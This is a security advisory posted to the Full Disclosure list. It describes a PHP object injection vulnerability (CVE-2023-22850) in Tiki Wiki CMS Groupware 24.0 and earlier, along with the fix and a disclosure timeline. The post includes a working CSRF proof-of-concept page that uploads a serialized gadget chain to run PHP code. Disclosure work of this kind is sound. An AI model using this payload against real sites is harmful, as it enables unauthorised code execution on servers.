Full Disclosure mailing list archives
[KIS-2023-03] Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability
From: Egidio Romano <research () karmainsecurity com>
Date: Mon, 09 Jan 2023 21:10:11 +0100
-----------------------------------------------------------------------------Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability
----------------------------------------------------------------------------- [-] Software Link: https://tiki.org [-] Affected Versions: Version 24.0 and prior versions. [-] Vulnerability Description:The vulnerability is located in the /lib/sheet/grid.php script, specifically into the TikiSheetSerializeHandler::_load() method, which is using the unserialize() PHP function with user-controlled input. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. Successful exploitation of this vulnerability requires the “Spreadsheets” feature to be enabled and an account with permissions to create a new sheet. However, due to the CSRF vulnerability described in KIS-2023-01, this vulnerability might also be exploited by tricking a victim user into opening a web page like the following:
<html><form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1" method="POST" enctype="multipart/form-data"> <input type="hidden" name="handler" value="TikiSheetSerializeHandler" />
<input type="file" name="file" id="fileinput"/> </form> <script>const popChain = 'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';
const fileInput = document.getElementById("fileinput"); const dataTransfer = new DataTransfer(); const file = new File([popChain], "test"); dataTransfer.items.add(file); fileInput.files = dataTransfer.files; document.forms[0].submit(); </script> </html> [-] Solution: Upgrade to version 24.1 or later. [-] Disclosure Timeline: [07/03/2022] - Vendor notified [23/08/2022] - Version 24.1 released [09/01/2023] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-22850 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2023-03 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- [KIS-2023-03] Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability Egidio Romano (Jan 09)